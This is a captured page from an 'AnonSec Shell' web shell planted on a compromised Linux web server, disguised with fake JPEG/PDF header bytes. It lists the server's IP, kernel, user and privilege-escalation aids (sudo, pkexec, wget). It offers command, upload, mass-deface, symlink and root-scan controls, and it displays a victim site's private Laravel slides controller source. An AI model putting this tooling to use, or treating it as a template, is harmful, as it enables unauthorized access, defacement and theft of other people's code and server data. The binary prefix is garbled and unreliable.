ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.129   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/evidenciarevista/admin/app/Http/Controllers/Slides/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/evidenciarevista/admin/app/Http/Controllers/Slides/SlidesController.php
<?php

namespace Evidencia\Http\Controllers\Slides;

use Evidencia\Fatima\Upload;
use Evidencia\Http\Controllers\Controller;
use Evidencia\Http\Requests;
use Evidencia\Post;
use Evidencia\Slide;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Storage;

class SlidesController extends Controller
{

	private $slide;
  private $post;


    /**
     * SlideController constructor.
     * @param Slide $slide
     */
    public function __construct(Slide $slide, Post $post)
    {
    	$this->slide = $slide;
      $this->post = $post;
    }


    /**
     * @return \Illuminate\View\View
     */
    public function index()
    {
    	$slides = $this->slide->orderBy('id', 'DESC')->get();
      $posts = $this->post->lists('title', 'id');
    	return view('pages.slide.index', compact('slides', 'posts'));
    }


    /**
     * @return \Illuminate\View\View
     */
    public function create()
    {
      $posts = $this->post->lists('title', 'id');
    	return view('pages.slide.create', compact('posts'));
    }


    /**
     * @param Request $request
     * @param Upload $upload
     * @return \Illuminate\Http\RedirectResponse
     */
    public function store(Request $request, Upload $upload)
    {
    	$this->validate($request, ['name' => 'required', 'file' => 'required', 'file_app' => 'required']);

      $file1 = $request->file('file');
      $fileName1 = $upload->makeResize($file1, 1200, 'uploads/slides', $request->get('watermark'));

      $fileApp = $request->file('file_app');
      $fileNameApp = $upload->makeResize($fileApp, 128, 'uploads/app/featured', null);

      $this->slide->create([
        'name' => $request->get('name'),
        //'url' => $request->get('url'),
        'file' => $fileName1,
        'file_app' => $fileNameApp,
        'post_id' => $request->get('post_id')
      ]);
      return redirect()->route('slide.index')->with('ok', 'Dados cadastrados com sucesso!');
    }



    /**
     * @param Request $request
     * @param $id
     * @return \Illuminate\Http\RedirectResponse
     */
    public function update(Request $request, $id)
    {
    	$this->validate($request, ['name' => 'required']);
    	$this->slide->find($id)->update($request->all());
    	return redirect()->route('slide.index')->with('ok', 'Dados atualizados com sucesso!');
    }



    public function updateFile(Request $request, $id, Upload $upload)
    {
      Storage::disk('local_upload_slides')->delete($request->get('oldPic'));
      $file = $request->file('file');
      $fileName = $upload->makeResize($file, '1600', 'uploads/slides', $request->get('watermark'));
      $this->slide->find($id)->update(['file' => $fileName]);
      return redirect()->back()->with('ok', 'Imagem atualizada com sucesso!');
    }


    public function updateFileApp(Request $request, $id, Upload $upload)
    {
    	//Storage::disk('local_upload_slides')->delete($request->get('oldPic'));
    	$file = $request->file('file_app');
    	$fileName = $upload->makeResize($file, 128, 'uploads/app/featured', null);
    	$this->slide->find($id)->update(['file_app' => $fileName]);
    	return redirect()->back()->with('ok', 'Imagem atualizada com sucesso!');
    }




    public function destroy($id, $file)
    {
    	$this->slide->find($id)->delete();
    	Storage::disk('local_upload_slides')->delete($file);
    	return redirect()->route('slide.index')->with('ok', 'Registro excluído com sucesso!');
    }




    /**
     * @return \Illuminate\View\View
     */
    public function order()
    {
    	$slides = $this->slide->orderBy('ordem')->get();
    	return view('pages.slide.order', compact('slides'));
    }


    /**
     * @param Request $request
     */
    public function orderAjax(Request $request)
    {
    	$ids = $request->get('item');
    	$order = 1;
    	foreach ($ids as $id) {
    		$this->slide->find($id)->update(['ordem' => $order]);
    		$order++;
    	}
    }

  }

Anon7 - 2022
AnonSec Team